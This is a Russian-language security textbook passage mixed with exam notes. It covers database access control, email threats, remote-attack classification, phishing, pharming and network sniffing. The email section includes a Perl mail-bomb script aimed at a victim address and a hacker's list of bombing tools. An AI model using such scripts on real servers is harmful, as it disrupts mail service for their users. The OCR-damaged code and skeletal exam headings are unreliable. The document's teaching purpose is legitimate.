Во-вторых, это встроенные возможности СУБД, которые администратор может и должен использовать в целях защиты информации. Их ценность в том, что контроль доступа происходит постоянно, а не только в момент загрузки приложения. Контроль доступа к БД может быть полностью реализован на сервере. Клиентское приложение просто считывает пароль пользователя и отсылает его на сервер. Далее СУБД по сво им внутренним таблицам пользователей проверяет, имеет ли право данный пользова тель работать в БД. В случае положительного ответа формируется соединение с ра бочей станцией, в противном случае выдается предупреждение и связь с сервером не устанавливается. В крупных ИС число таблиц может достигать нескольких сотен, и задавать права доступа по всем таблицам для каждого пользователя утомительно. Этот процесс упрощается за счет функций предоставления прав доступа группам пользователей с последующей корректировкой индивидуальных прав. Принадлеж ность пользователя к конкретной группе определяется типом выполняемых им функ ций, или ролей, в системе (например, группа разработчиков, менеджеров, операто ров, участников тестирования). К сожалению, во многих СУБД минимальным эле ментом данных, для которого возможен контроль доступа, является таблица. На практике же часто требуется контролировать доступ по отдельным записям или по лям. В этом случае проблему приходится решать либо на уровне приложения, на пример с помощью табличных фильтров, либо за счет модификации структуры БД путем нормализации таблиц, либо комбинируя оба способа.
Третье решение - применение средств защиты на уровне приложений - наиболее сложный и дорогой вариант, так как реализовать его может только сам разработчик приложения. Этот метод дает более строгий контроль доступа к данным, поскольку позволяет заложить в систему хитроумные алгоритмы всевозможных проверок, от личные от стандартных, хорошо известных злоумышленникам.
Некоторые разработчики коммерческих приложений вместе с основными продук тами поставляют собственные программы администрирования своих же приложений. При этом администратору системы не нужны внешние программы администрирова ния, так как вся необходимая информация (списки пользователей, их пароли и права доступа) контролируется упомянутыми утилитами. Средствами утилиты админист рирования, которой известна структура меню курируемого приложения, можно от крыть или закрыть для его пользователей в соответствии с их ролями соответствую щие пункты меню. На уровне интерфейса запрещенные пункты меню отмечаются другим цветом или вообще отсутствуют.
Если с помощью встроенных средств администрирования СУБД контроль доступа на уровне отдельных записей или полей таблиц обеспечить не удается, то это можно сделать на уровне административной утилиты, настроив фильтры типа пользова тель/табличный параметр, которые будут накладываться на таблицы во время их ин дикации в основном приложении.
Чтобы обеспечить контроль целостности структуры БД, прикладная система или утилита администрирования может проверить текущее состояние БД и сравнить его с эталоном (аналогом контрольной суммы), характеристика которого жестко "зашита" в код приложения. При обнаружении несовпадения в аудиторском журнале будет сделана соответствующая запись или приложение само перестанет работать. Напри мер, легко подменить стандартную процедуру одноименной новой, которая будет де лать то же, что и старая, плюс дополнительные функции, полезные хакеру.
На прикладном уровне удобно отслеживать также и те ограничения, которые на кладывает поставщик ПО, продавая конкретную конфигурацию системы. Типичный вариант: число одновременно работающих пользователей не должно превышать ука занного в лицензии.
Особую роль играют аудиторские журналы, но не те, которые ведутся самой СУБД, а собственные журналы приложения, где фиксируются ошибки и сообщения прикладной системы, а также информация обо всех действиях пользователей. Анализ этих журналов позволяет произвести статистический учет ошибок, установить, какие функции системы пользуются наибольшей популярностью, составить профиль ак тивности пользователей (с какими данными они работают, сколько времени на это тратят и т. д.).
Наконец, на прикладном уровне можно реализовать традиционные защитные ме роприятия, касающиеся процедуры регистрации пользователей, работы экранных за ставок и блокираторов клавиатуры.
И четвертый подход - реализация централизованных систем защиты. Программы управления безопасностью в РВС - мониторы безопасности - используют глобаль ные таблицы безопасности (ГТБ), в которых хранятся пользовательские пароли для доступа ко всем узлам системы. Если пользователь правильно вводит первый пароль, от ввода остальных он освобождается. Всю работу за него выполняет монитор, кото рый следит за тем, к какой подсистеме обращается пользователь, выбирает нужный пароль из таблицы и передает его на вход соответствующей подсистемы. В сложных сетевых средах для реализации процедур однократной регистрации применяются также доверительные отношения между серверами разных доменов.
Самый простой и распространенный способ - это централизованный контроль средств безопасности, впервые реализованный в продуктах RACF и ACF2 и позднее заимствованный другими программами. Суть его в том, что для всех элементов РВС используется единый пароль, который после ввода или замены тиражируется по всем узлам системы. Недостаток этой схемы в следующем: при "зависании" процессора, на котором работает процедура тиражирования, блокируется работа всей системы.
Кроме того, если кто-то сумеет перехватить (дешифровать, угадать) пароль на одном узле, то получит свободный доступ к системе в целом.
Другой, более надежный, но и более сложный в реализации способ заключается в том, что ГТБ доступны всем подчиненным системам. В результате можно отказаться от унификаций паролей на всех подсистемах и контролировать доступ ко всем ресур сам из любого узла. При таком подходе администратор только раз настраивает паро ли пользователей для всех уровней (сетевого, ОС и сервера БД). Эти первичные па роли запоминаются в ГТБ и затем употребляются монитором безопасности, сопро вождающим пользователя в его перемещении по узлам РВС. В дальнейшем пароли каждого уровня не требуется менять вручную, поскольку они автоматически генери руются имеющимися на более низких уровнях подсистемами защиты. Обновленные пароли снова передаются "наверх" в ГТБ. Таким образом, на всех узлах системы дей ствуют уникальные пароли, которые сгенерированы машинным способом и с трудом поддаются подбору. Несмотря на то что машинные пароли на практике никто не вво дит вручную, системы защиты каждого уровня все же могут администрироваться ин дивидуально, а не только из центрального пункта. Недостаток описанной схемы за ключается в том, что сбой централизованной системы защиты, работающей на выде ленном процессоре, блокирует доступ всех пользователей к системе в целом. Для борьбы с этой проблемой приходится прибегать к "горячему" резервированию, т. е. хранить копии таблиц безопасности на резервной машине. В этом случае отказ одного процессора будет активизировать работу другого.
Остановимся подробнее на основных угрозах, связанных с электронной почтой вообще. Основные почтовые протоколы [SMTP, РОРЗ (Post Office Protocol), IMAP4 (Internet Mail Access Protocol)] обычно не осуществляют надежной аутентификации. Поэтому, например, при определенных настройках SMTP-сервера это позволяет лег ко создать письма с фальшивыми адресами. А протокол SMTP может быть использо ван в атаках с целью разведки, например применение команды VRFY для определе ния имен пользователей на удаленной системе. В базовой конфигурации ни один из этих протоколов не применяет криптографию, которая могла бы гарантировать кон фиденциальность электронных писем. Хотя существуют расширения этих протоко лов, предоставляющие такие возможности. Решение использовать их должно быть явно принято как составная часть политики администрации почтового сервера. Неко торые такие расширения используют уже имеющиеся средства аутентификации, а другие позволяют клиенту и серверу согласовать тип аутентификации, который будет использоваться в данном соединении.
1. Фальшивые адреса отправителя. Адресу отправителя в электронной почте нельзя доверять, так как отправитель может указать фальшивый обратный адрес, или заголовок может быть модифицирован в ходе передачи письма, или отправитель мо жет сам соединиться с SMTP-портом на компьютере, от имени которого он хочет от править письмо, и ввести текст письма.
2. Перехват письма. Заголовки и содержимое электронных писем передаются в чистом виде. В результате содержимое сообщения может быть прочитано или изме нено в процессе передачи его по Интернету. Заголовок может быть модифицирован для того, чтобы скрыть или изменить отправителя или чтобы перенаправить элек тронное сообщение.
3. Почтовые бомбы. Почтовая бомба - это атака с помощью электронной почты. Атакуемая система переполняется письмами до тех пор, пока она не выйдет из строя. Как это будет реализовано, зависит от типа почтового сервера и от того, как он скон фигурирован. Возможны следующие типовые варианты вывода почтового сервера из строя:
■ Почтовые сообщения принимаются до тех пор, пока диск, где они размещаются, не переполнится. Все последующие письма не принимаются. Если этот диск так же яляется основным системным диском, то вся система может аварийно завер шить работу.
■ Входная очередь переполняется сообщениями, которые нужно обработать и пере дать дальше, до тех пор пока не будет достигнут предельный размер очереди. По следующие сообщения не попадут в очередь.
■ У некоторых почтовых систем можно установить максимальное число почтовых сообщений или максимальный общий размер сообщений, которые пользователь может принять за один раз. Последующие сообщения будут отвергнуты или унич тожены.
■ Может быть превышена квота диска для данного пользователя. Это помешает приему последующих писем и может помешать ему выполнять другие действия. Восстановление может оказаться трудным для пользователя, так как ему может понадобиться дополнительное дисковое пространство для удаления писем.
■ Большой размер почтового ящика может затруднить получение системным адми нистратором системных предупреждений и сообщений об ошибках.
■ Посылка почтовых бомб в список рассылки может привести к тому, что его под писчики могут отказаться от дальнейшей подписки.
Приведем пример почтовой бомбы, написанной на языке Perl. Пока 1000 раз поч товым сервером не будет принято напечатанное в программе сообщение, он не смо жет принимать никакие другие электронные сообщения. Это ведет к резкому сниже нию производительности его работы за счет выполнения бесполезных действий. Реа лизация для Unix очень проста. #!/bin/perl
$mailprog =' /usr/lib/sendmail'; $recipient = 'victim@targeted_site.com'; $variable_initializedjc_0 = 0; while ($variable_initialized_to_0 < 1000) {
open (MAIL, "|$mailprog $recipienf) || die "Can't open $mailprog!\n"; print MAIL "You Suck!"; close (MAIL); sleep 3;
$variableJnitialized_to_0++; }■
Вот, например, представленный на хакерском узле по адресу http://home.sol.no/ ~acidkick/acidkick/index.html?url=bombz.html далеко не полный список некоторых программ, рассылающих почтовые бомбы, с комментариями хакера:
"HakTek! - Powerful, Great e-mail bombing, port scanz, ping lagging...
Unabomber - A solid e-mail bomber, good graphics and concept.
Anonymous E-mailer - Not really an e-mail bomber, just used to send mail as another person.
Kaboom v3.0 - Very good bomber indeed....
Avalanche v3.0 - Good E-Mail Bomber and highly Recommended
Avalanche v3.4 - great E-mail bomber too...
Avalanche v5.0 - great E-mail bomber too...
Up Yours v4.0 - Recent Release of UP Yours.... Tha best!
Bomb-A-Holicz - Lotz of bomberz!!!
Serpent - Check it out...
Typhoon - Check it out...
Bombsquad - Recovery Program".
4. Угрожающие письма. Так как любой человек в мире может посылать письма другому человеку, то может оказаться трудным заставить его прекратить делать это. Люди могут узнать требуемый почтовый адрес из списка адресов организации, спи ска лиц, подписавшихся на какой-либо список рассылки, или писем в Usenet. Если где-то на веб-узле был введен почтовый адрес пользователя, то он может быть про дан держателями узла "почтовым мусорщикам". Некоторые веб-браузеры сами пере дают почтовый адрес его владельца при посещении узлов. Много почтовых систем имеет возможность фильтрации почты, т. е. поиска указанных слов или словосочета ний в заголовке письма или его теле, и последующего помещения его в определен ный почтовый ящик и удаления. Но большинство пользователей не знает, как приме нить механизм фильтрации. Кроме того, фильтрация у клиента происходит после то го, как письмо уже получено или загружено, поэтому таким образом тяжело удалить большие объемы писем.
Для безопасной атаки может использоваться анонимный ремэйлер (пересыльщик почты). Когда кто-то хочет послать оскорбительное или угрожающее письмо и при этом скрыть свою личность, он может воспользоваться анонимным ремэйлером. Если человек хочет послать электронное письмо, не раскрывая свой домашний адрес тем, кто может угрожать ему, он может тоже использовать анонимный ремэйлер. Если он начнет вдруг получать нежелательные письма по своему текущему адресу, он может отказаться от него и взять новый.
Одним часто используемым средством защиты, применяемым некоторыми поль зователями Usenet, является конфигурирование своих клиентов для чтения новостей таким образом, что в поле Reply-To (обратный адрес) письма, посылаемого ими в группу новостей, помещается фальшивый адрес, а реальный адрес находится в сигна туре или в теле сообщения. Таким образом программы сбора почтовых адресов, со бирающие адреса из поля Reply-To, окажутся бесполезными.
5. Спэм. Данная атака проносит очень много проблем пользователям электронной почты. "Спэмминг" (spamming) - это массовая рассылка бесполезной электронной почты (спэма), чаще всего коммерческого и рекламного характера о продуктах и ус лугах. В настоящее время термин "спэм" практически стал бранным словом для обо значения всякой "виртуальной помойки", постепенно сливаясь с более общим терми ном "junk mail" - "мусорная (т. е. ненужная адресату) почта".
Злоумышленником случайно выбирается доменное имя и отгадывается имя хоста почтового SMTP-сервера. Если этот сервер примет почту, спэммер просит его рас пространить сообщение по списку адресов. Сервер исполняет запрос, создавая впе чатление, что сообщения исходят с IP-адреса компании-жертвы.
Анализируя атаки на электронную почту, приходится констатировать, что наибо лее часто из них встречаются следующие:
1) атаки, связанные с перехватом сообщений электронной почты, что может на нести ущерб репутации фирмы, создать о ней неверное представление;
2) из-за уязвимости почтового ПО возможно нарушение качества обслуживания;
3) источником риска может быть разрушающее ПО, например вирус, полученное по электронной почте.
Безопасность электронной почты должна обеспечиваться на уровне как админи стратора сети, так и конечных пользователей. И если от первого можно ожидать оп ределенного профессионализма, то ситуация с последними гораздо сложнее. Иногда именно пользователь является агентом злоумышленника, с помощью которого и осуществляется атака. Поэтому служба электронной почты должна быть организова на так, чтобы администратор мог обнаружить как можно больше потенциальных ин цидентов до того, как они станут реальной угрозой для сети. У него должны быть средства, позволяющие при необходимости ретранслировать сообщения, сканировать вложения, проверять и поддерживать надежную аутентификацию, блокировать спэм и вирусы и делать многое другое. Для этого система электронной почты предприятия организуется так, чтобы весь почтовый трафик (по крайней мере, трафик между ин-транетом и Интернетом) проходил через один почтовый сервер, играющий роль пе-ренаправителя (или просто прокси-сервера) для остальных почтовых серверов орга низации.
И ряд заключительных рекомендаций по программе sendmail. Лучшим методом защиты от попыток взлома является отказ от ее использования во всех случаях, когда она не требуется для получения почты по сети. Если без sendmail все же не обойтись, то это должна быть ее самая последняя версия, в которой установлены все модули обновления системы защиты. Также существуют дополнительные утилиты, призван ные восполнить недостаточную защищенность sendmail. Такими утилитами, напри мер, являются smap и smapd - программы, входящие в комплект поставки пакета TIS, который можно бесплатно получить по адресу http://www.tis.com/research/software/. Утилита smap используется для безопасного получения сообщений по сети и их раз мещения в специально выделенном каталоге. Утилита smapd периодически проверяет этот каталог и доставляет почту адресатам, используя для этого sendmail или какую-либо другую программу. Данный подход позволяет разорвать связь между sendmail и нелегальными пользователями, поскольку все соединения для получения почты ус танавливает утилита smap, а не sendmail. И наконец, можно перейти к использованию более надежного почтового агента, такого, как qmail [http://www.qmail.org, автор-Дэн Бернштейн (Dan Bernstein)] или postfix [http://www.postfix.com/, автор - Вите Ве-нема (Wietse Venema)].
136. Удаленные атаки на сети, их классификация. Типовые удаленные атаки. Атаки «Анализ сетевого трафика» и «Удаленный контроль над станцией в сети»: средства реализации, предопределяющие уязвимости, защита.
Классы атак :
Модели традиционных атак:
Модели распределенных атак:
Удаленная атака – информационное разрушающее воздействие на распределенную вычислительную систему, программно осуществляемая по каналам связи
Подвиды удаленных атак:
Сетевые устройства, которые являются объектами удаленных атак:
Классификация удаленных атак:
(прикладной, представления, сеансовый, транспортный, сетевой, канальный, физический)
Основные типы удаленных атак:
Это пассивная атака без обратной связи, безусловное начало по отношению к цели, внутрисегментная.
Активная атака, направленная на нарушение конфиденциальности и целостности инфы. Наступление на объекте определенного события. Внутре и межсегментная с или без обратной связи. Сетевой или транспортный уровень.
137. Удаленные атаки на сети, их классификация. Типовые удаленные атаки. Атаки «Подмена доверенного объекта или субъекта распределенной вычислительной системы» и «Ложный объект распределенной вычислительной системы»: средства реализации, предопределяющие уязвимости, защита.
Классы атак :
Модели традиционных атак:
Модели распределенных атак:
Удаленная атака – информационное разрушающее воздействие на распределенную вычислительную систему, программно осуществляемая по каналам связи
Подвиды удаленных атак:
Сетевые устройства, которые являются объектами удаленных атак:
Классификация удаленных атак:
(прикладной, представления, сеансовый, транспортный, сетевой, канальный, физический)
Основные типы удаленных атак:
Навязывание ложного маршрута – активное, безусловное, внутре и межсегментное, с и без обратной связи, транспортный, прикладной уровни
Использование недостатков алгоритмов удаленного поиска сетевых сервисов (ERP, DNS).Активное, целостность или конфиденциальность нарушает, безусловное или по запросу атакующего объекта, внутре и межсегментная, обратная связь с атакуемым объектом. Осуществляется на сетевом уровне OSI.
2)Подмена доверенного объекта или субъекта в сети
Активная атака, направленная на нарушение конфиденциальности и целостности инфы. Наступление на объекте определенного события. Внутре и межсегментная с или без обратной связи. Сетевой или транспортный уровень.
138. Удаленные атаки на сети, их классификация. Типовые удаленные атаки. Атаки «Отказ в обслуживании» и «Распределенный отказ в обслуживании»
Классы атак :
Модели традиционных атак:
Модели распределенных атак:
Удаленная атака – информационное разрушающее воздействие на распределенную вычислительную систему, программно осуществляемая по каналам связи
Подвиды удаленных атак:
Сетевые устройства, которые являются объектами удаленных атак:
Классификация удаленных атак:
(прикладной, представления, сеансовый, транспортный, сетевой, канальный, физический)
Атака ”Отказ в обслуживании”
Нарушает работоспособность узла или службы на узле.
Активное воздействие без обратной связи однонаправленное нарушение доступности, безусловное, межсегментное ил внутрисегментное, транспортный ил прикладной уровень. OSI.
4.1. Удаленные атаки на открытые системы
Принципиальным отличием атак, осуществляемых злоумышленниками на откры тые сети, является фактор расстояния от ПК, выбранного в качестве "жертвы", или "прослушиваемого" канала связи до местоположения злоумышленника. Этот фактор нашел выражение в определении их как "удаленных" (в отличие от локальных, осу ществляемых средствами НСД непосредственно в отношении отдельного компьюте ра). Под удаленной атакой (УА) принято понимать несанкционированное информа ционное воздействие на РВС, программно осуществляемое по каналам связи [44]. Или, проще говоря, УА - это любое нападение, которое начато против компьютера, над которым нападающий в настоящее время еще не имеет контроля, т. е. это напа дение на любой компьютер, который не является собственностью атакующего (нахо дится ли этот компьютер в подсети нападающего или за 10 км от него) [50].
Для УА можно выделить наиболее общие схемы их осуществления. Такие УА по лучили название типовых УА (ТУА). Тогда ТУА - это удаленное несанкционирован ное информационное воздействие, программно осуществляемое по каналам связи и характерное для любой РВС.
Особенностью сетевых систем является распределенность как самих аппаратных средств (компьютеров), так и информации. Поэтому можно выделить два основных подвида УА. Первый тип атак направлен на инфраструктуру и протоколы сети, и при этом нарушитель использует уязвимости в сетевых протоколах и инфраструктуре се ти (сложившейся системе организации отношений между объектами сети и исполь зуемыми в ней сервисными службами). Во втором случае атаки нацелены на теле коммуникационные службы из-за наличия уязвимостей именно в них. Тогда объек том УА могут стать следующие виды сетевых устройств: оконечные устройства, каналообразующее оборудование и промежуточные устройства типа ретрансляторов, шлюзов, модемов и т. п.
Результат, которого чаще всего добиваются злоумышленники, проводя свои ата ки, таков:
■ расширение прав доступа в сети, на конкретном узле (например, с установлением контроля за рабочей станцией);
■ искажение информации;
■ раскрытие информации (т. е. ее распространение среди лиц без соответствующих полномочий доступа);
■ кража сервисов (их несанкционированное использование);
■ "отказ в обслуживании" (снижение производительности или блокировка доступа, например к базе данных).
Цель УА на компьютеры интранета, состоит, например, в получении доступа к их информационным и сетевым ресурсам. Примером первого типа ресурсов могут быть БД, файл-серверы и т. п. Ко второму типу ресурсов относятся различные сетевые сервисы, например Telnet, электронная почта, телеконференции и т. д.
По данным, приведенным в обзоре ФБР "2003 CSI/FBI Computer Crime and Security Survey", частота обнаружения различных атак такова:
■ вирусы - 85 %;
■ злоупотребления в Интернете со стороны сотрудников - 78 %;
■ НСД со стороны сотрудников - 38 %;
■ "отказ в обслуживании" - 40 %;
■ атаки внешних злоумышленников - 40 %;
■ кража конфиденциальной информации - 20 %;
■ саботаж-8%;
■ финансовые мошенничества - 12 %;
■ мошенничества с телекоммуникационными устройствами - 9 %.
Можно выделить следующий ряд характерных признаков атак [67]:
■ явные признаки - сбои, неправильное функционирование программ, повтор опре деленных событий, неправильные команды, непредвиденные атрибуты, несоот ветствующие параметры сетевого трафика и т. п.;
■ отсутствие/повреждение некоторых файлов, появление новых;
■ откорректировать файлы регистрации;
■ использование уязвимостей;
■ необъяснимые проблемы;
■ обнаружено, что пользователи входили в систему из странных мест в неподходя щее время или выполняли странные команды, и др.
Источники информации об атаках бывают:
■ основными:
■ сетевой трафик;
■ журналы регистрации (ОС, СУБД, прикладных и сетевых приложений);
• текущая деятельность субъектов системы (пользователей, процессов, сервисов, портов);
• уведомления;
" дополнительными:
■ информация от пользователей;
■ списки рассылки по безопасности;
• журналы;
■ конференции;
• веб-серверы по безопасности (например, по адресу http://www.dshield.org можно посмотреть, какие порты на текущую дату наиболее часто атакуются злоумыш ленниками, какова тенденция за последнее время по тем или иным атакам - рас тет их число или снижается, с каких адресов чаще всего в последнее время ис ходят атаки и т. п.).
По мере развития сетевых технологий сложность атак и знания самих взломщиков претерпевали некоторые изменения, причем можно отметить тенденцию к возраста нию сложности атак при снижении общего уровня знаний злоумышленников (рис. 38).
Данный рисунок (источник - Cnews.ru) можно дополнить новыми атаками phising и pharming, появившимися в 2004 г.
Phishing - это атака с использованием приемов социальной инженерии, при кото рой жертву обманом заставляют переслать по почте свои персональные данные. Жертва получает электронные сообщения, замаскированные под полезные послания, якобы отправленные клиентской службой хорошо известного банка. В письмах со держится просьба подтвердить или предоставить конфиденциальные персональные данные. Кроме социальной инженерии, в данной атаке применяются и технические приемы, при которых на компьютер жертвы для кражи данных устанавливается ПО атаки (crimeware), чаще всего в виде "троянцев", перехватывающих ввод с клавиату ры (Trojan key logger spy ware).
Phishing является классической формой кражи банковских данных пользователей с помощью электронных писем - трюка, на который попалось множество ничего не подозревающих пользователей. В последнее время подобные атаки, достигшие мас штабов эпидемии, приносят все больше вреда, поскольку мошенники пользуются са мыми изощренными методами, способными обмануть даже очень осторожных поль зователей.
Pharming - более сложный и опасный тип атак, чем phishing (http://www.phar-ming.org). При этом преследуется сходная цель - обмануть ничего не подозревающе го пользователя компьютера и перенаправить трафик на вредоносный сайт или про кси-сервер для сбора конфиденциальной информации, особенно относящейся к он лайновым банкам. Попавши на такой поддельный сайт, жертва сообщает злоумыш ленникам свои персональные данные, номера кредитных карт, ПИНы и т. д. В январе 2005 г. экспертами рабочей группы Anti-Phishing Working Group (http://www.antiphi shing.org) было обнаружено 12 845 разновидностей рассылок, ведущих на 25 60 под ставных веб-сайтов. Таким атакам уже подвергались известные поисковые системы, сайты различных компаний и крупные Интернет-магазины.
В отличие от phishing в pharming социальная инженерия не применяется, а атака направлена не на самого пользователя, а на его компьютер или сервер DNS. С помо щью технологий DNS Poisoning или URL Hijacking даже правильно введенные URL-адреса приводят на вредоносные сайты, которые специально замаскированы под ре ально существующие ресурсы, посещаемые пользователем. Если при попытке поль зователя произвести доступ к нужной ему веб-странице DNS-сервер не сможет пра вильно разрешить IP-адрес, соответствующий введенному доменному имени, то пользователь не увидит корректную страницу. Атаки могут быть выполнены напря мую против DNS-сервера так, что изменение адреса повлияет на всех пользователей, обращающихся к серверу во время просмотра Интернета, или локально, т. е. на от дельных компьютерах. Второй сценарий гораздо более опасен из-за его большей эф фективности и проще в реализации для атакующих. Им требуется выполнить всего два относительно несложных действия: изменить файл hosts, который можно найти на любом компьютере под управлением Windows и использующем Internet Explorer для доступа в Интернет, и создать фальсифицированную веб-страницу. Чтобы для конвертации URL наиболее часто посещаемых пользователем сайтов в IP-адреса не обращаться к DNS-серверу, файл hosts хранит таблицу соответствия имен серверов и их IP-адресов. Если этот файл перезаписан и в него внесены фальсифицированные адреса он-лайновых банков, каждый раз, когда пользователь вводит их URL в брау зере, он попадет на страницу, заблаговременно созданную злоумышленником. Меха низм атаки вступает в действие, когда жертва открывает непрошеное почтовое по слание или посещает веб-узел с исполнимым файлом, который тайно запускается в фоновом режиме. Стоит заметить, что сайты-обманки могут в точности повторять дизайн и структуру подменяемого сайта. Поэтому у пользователя не возникнет ника ких подозрений - он с уверенностью оставляет на сайте мошенника различные дан ные и при этом может незаметно для себя загрузить на свой компьютер некие злона меренные программы (чаще всего "троянцев").
Для запуска атаки злоумышленники пользуются старыми и недостаточно защи щенными расширениями DNS комплекса BIND, которые лежат в основе работы по давляющего большинства DNS-серверов в Интернете, или слабыми по умолчанию настройками DNS в Window 2000. (Сразу оговоримся, что возможными средствами противостояния названным атакам являются замена DNS ее обновленной версией -Secure DNS, установка антивирусного ПО, совмещающего предупреждающие и реа гирующие системы обнаружения, и персонального МЭ, мешающего проникновению в компьютер пользователя через незащищенный порт и модификации системы, а также регулярное обновление всего ПО, что устранит его известные уязвимости.)
Сложность атаки определяется уровнем технических возможностей или общим уровнем знаний атакующего и бывает четырех видов.
1. Низкая - атакующий запускает программу взлома, компилирует легкодоступ ный код или применяет широко известный метод атаки, практически не внося ничего нового в свое поведение.
2. Средняя - атакующий использует широко известный метод нападения, но раз ворачивает атаку и незначительно модифицирует стандартную тактику атаки.
3. Сложная - атакующий умен (как правило, пишет собственный код), опытен, его атака может долго оставаться незамеченной.
4. Очень сложная - взломщик очень опытен, использует либо неизвестные разра ботки, либо самые современные технологии, применяет в основном нестандартные методы и, хорошо заметая следы, часто оставляет скрытые входы для повторного проникновения.
Атаки в зависимости от количества атакующих и жертв можно разделить на два класса - традиционные и распределенные. Традиционные атаки (рис. 39, а-в) осуще ствляются одним злоумышленником со своего компьютера или с использованием одного или нескольких промежуточных узлов (для сокрытия своего реального адре са) в отношении одной или нескольких жертв. Распределенные атаки (рис. 39, г-д) всегда подразумевают сговор нескольких атакующих, целью которых может стать одна или чаще сразу несколько жертв.
Теперь рассмотрим обобщенную классификацию УА по основным критериям (рис. 40).
По характеру воздействия УА делятся на пассивные и активные (примером пер вого типа атак является, например, прослушивание каналов связи и перехват вводи мой с клавиатуры информации; примером второго типа является атака "третий посе редине", когда злоумышленник может, например, подменять данные информацион ного обмена между двумя пользователями Интернета и/или интранета или между пользователем и запрашиваемым им сетевым сервисом, пересылаемые в обоих на правлениях).
По цели воздействия У А различаются в зависимости от нарушения трех основных возможных свойств информации и информационных ресурсов - их конфиденциаль ности, целостности и доступности, плюс нарушение доступности всей системы или ее отдельных служб (пример атаки: "отказ в обслуживании", далее рассмотренный более подробно).
По условию начала осуществления воздействия УА может быть безусловной (предпринимается злоумышленником в любом случае) или может активизироваться либо при посылке определенного запроса от атакуемого объекта, либо при наступле нии ожидаемого события на нем.
По наличию обратной связи с атакуемым объектом различают атаки с обратной связью или без обратной связи (такая атака называется однонаправленной).
По расположению субъекта атаки относительно атакуемого объекта атаки бы вают внутрисегментными (средства взлома сети или, например, прослушивания ка налов связи должны располагаться в том же сегменте сети, который интересует зло умышленника) или межсегментными (и тогда дальность расстояния от жертвы до злоумышленника не имеет значения).
По числу атакующих и жертв УА бывают традиционными и распределенными.
По уровню эталонной модели взаимосвязи открытых систем (OSI) Международ ной организации по стандартизации (ISO), на котором осуществляется воздействие, атака может реализовываться на семи уровнях - физическом, канальном, сетевом, транспортном, сеансовом, представительном и прикладном.
По средствам проведения атаки. Для реализации УА используются разные сред ства, такие, как информационный обмен, команды пользователя (ввод команд в ин терфейсе командной строки или процесса), скрипты или программы (например, взломщики паролей, снифферы, сканеры, вирусы и т. п.), автономный агент, ком плект утилит (toolkit, rootkit и т. п.), распределенные средства (по нескольким узлам сети) и пр.
По методам проведения атаки, среди которых применяются прослушивание, сканирование, зондирование, "маскарад", спуффинг, перехват сессий, взлом и т. п.
По объекту атаки (например, данные, программы, сетевое обеспечение, пользо ватель и т. д).
По результату атаки - например, это чаще всего расширение прав доступа, ус тановление удаленного контроля (управления) над объектом в сети, сбор/раскрытие информации, кража сервисов, "отказ в обслуживании" и т. п.
По размеру причиненного ущерба УА могут нанести минимальный, средний или высокий ущерб.
Средства обеспечения безопасности интранета на основе такой модели регламен тируются стандартом ISO 7498-2. Эти же рекомендации могут применяться и для разработки, создания аналогичных механизмов в Интернет-сетях, так как стек прото колов TCP/IP соответствует уровням 1-4 модели, а прикладной уровень в сетях Интернета соответствует верхним уровням (5-7).
Среди вышеперечисленных УА можно выделить пять наиболее часто предприни маемых типовых схем атак, т. е. ТУА [44]: анализ сетевого трафика; подмена дове ренного объекта или субъекта РВС; ложный объект РВС; "отказ в обслуживании"; удаленный контроль над станцией в сети. Рассмотрим их подробнее.
4.1.1. Анализ сетевого трафика
Анализ сетевого трафика (или прослушивание канала связи с помощью специаль ных средств - снифферов) позволяет:
■ изучить логику работы сети - получить однозначное соответствие событий, про исходящих в системе, и команд, пересылаемых при этом хостами, в момент появ ления данных событий; в дальнейшем это позволит злоумышленнику на основе задания соответствующих команд получить, например, привилегированные права на действия в системе или расширить свои полномочия в ней;
■ перехватить поток передаваемых данных, которыми обмениваются компоненты сетевой ОС, для извлечения секретной или идентификационной информации (на пример, статических паролей пользователей для доступа к удаленным хостам по протоколам FTP и Telnet, не предусматривающих шифрование), ее подмены, мо дификации и т. п.
По классификации УА анализ сетевого трафика - пассивное воздействие. Осуще ствление атаки без обратной связи ведет к нарушению конфиденциальности инфор мации внутри одного сегмента сети на канальном уровне OSI. Начало осуществления атаки безусловно по отношению к цели атаки.
Опишем, как осуществляется пассивная атака перехвата данных в Ethernet. Обмен данными по протоколу Ethernet подразумевает посылку пакетов адресату, но из-за особенностей среды передачи рассылка осуществляется всем абонентам одного сег мента интранета. Заголовок пакета содержит адрес узла-приемника. Предполагается, что только узел с соответствующим адресом должен принять пакет. Однако если ка кой-то ПК в интранете принимает все проходящие пакеты независимо от их заголов ков, то говорят, что он находится в promiscuous mode — в режиме приема всех фрей мов. Так как в обычном интранете информация о паролях передается в виде простого текста [в открытом виде пароли передаются по сети по протоколам стека TCP/IP: Telnet (23-й порт); РОРЗ (ПО); FTP (21); РОР2 (109); IMAP (143); rlogin (513); Poppasswd (106); NetBIOS (139) и т. д.], то для злоумышленника не сложно перевести один из компьютеров подсети в promiscuous-режим (предварительно получив на нем права root) и, перехватывая и анализируя пакеты, проходящие по его каналам связи, получить пароли к большинству компьютеров интранета.
В одном из наиболее распространенных методов перехвата данных при их пере мещении по линиям связи в интранете используется средство, называемое сниффе-ром (от англ. sniffer - ищейка) [68]. Даже если потенциальный злоумышленник не имеет доступа к некоторому компьютеру, он может перехватить данные, посылаемые ПК, в момент их прохождения по кабелю, который подключает данный компьютер к сети. Компьютер, подключенный к сети, аналогичен телефонному аппарату, подклю ченному к общему номеру. Любой человек может поднять трубку и подслушать чу жой разговор. В случае передачи данных любой компьютер, соединенный с сетью, способен принимать пакеты, посылаемые другой станции. Границы существования данной возможности определяются структурой сети. Она может распространяться как на компьютеры, принадлежащие к данному сегменту сети, так и на всю сеть в це лом (если сеть не разделена на сегменты). Отличительной особенностью перехвата данных является то, что эта атака относится к типу внутрисегментных.
Также есть возможность запустить сниффер в режиме non-promiscuous, но тогда будет возможность перехватывать соединения только с тем ПК, на котором он запу щен.
Средства анализа сетевого трафика по своей функциональности условно делятся на две группы: анализаторы трафика и декодеры протоколов. Анализаторы трафика осуществляют только мониторинг событий, происходящих в сети, собирают стати стику о потоках данных. Декодеры протоколов обладают такой полезной функцией, как декодирование передаваемой по сети информации из набора битов и байтов в удобный для восприятия оператором вид. Как правило, все выпускаемые сегодня снифферы относятся к декодерам протоколов.
На рис. 41 приведена обобщенная схема сниффера, основным компонентом кото рого является декодирующее ядро. Если в разбираемом сниффером пакете обнару живаются отклонения от нормального, тогда генерируются сигналы тревоги, выда ются сообщения о важных для функционирования сети событиях. Предусмотрена возможность набора статистики, редактирования пакетов, а также генерация текуще-
го трафика и запуск системных утилит типа ping для проверки достижимости других узлов из данного сегмента сети.
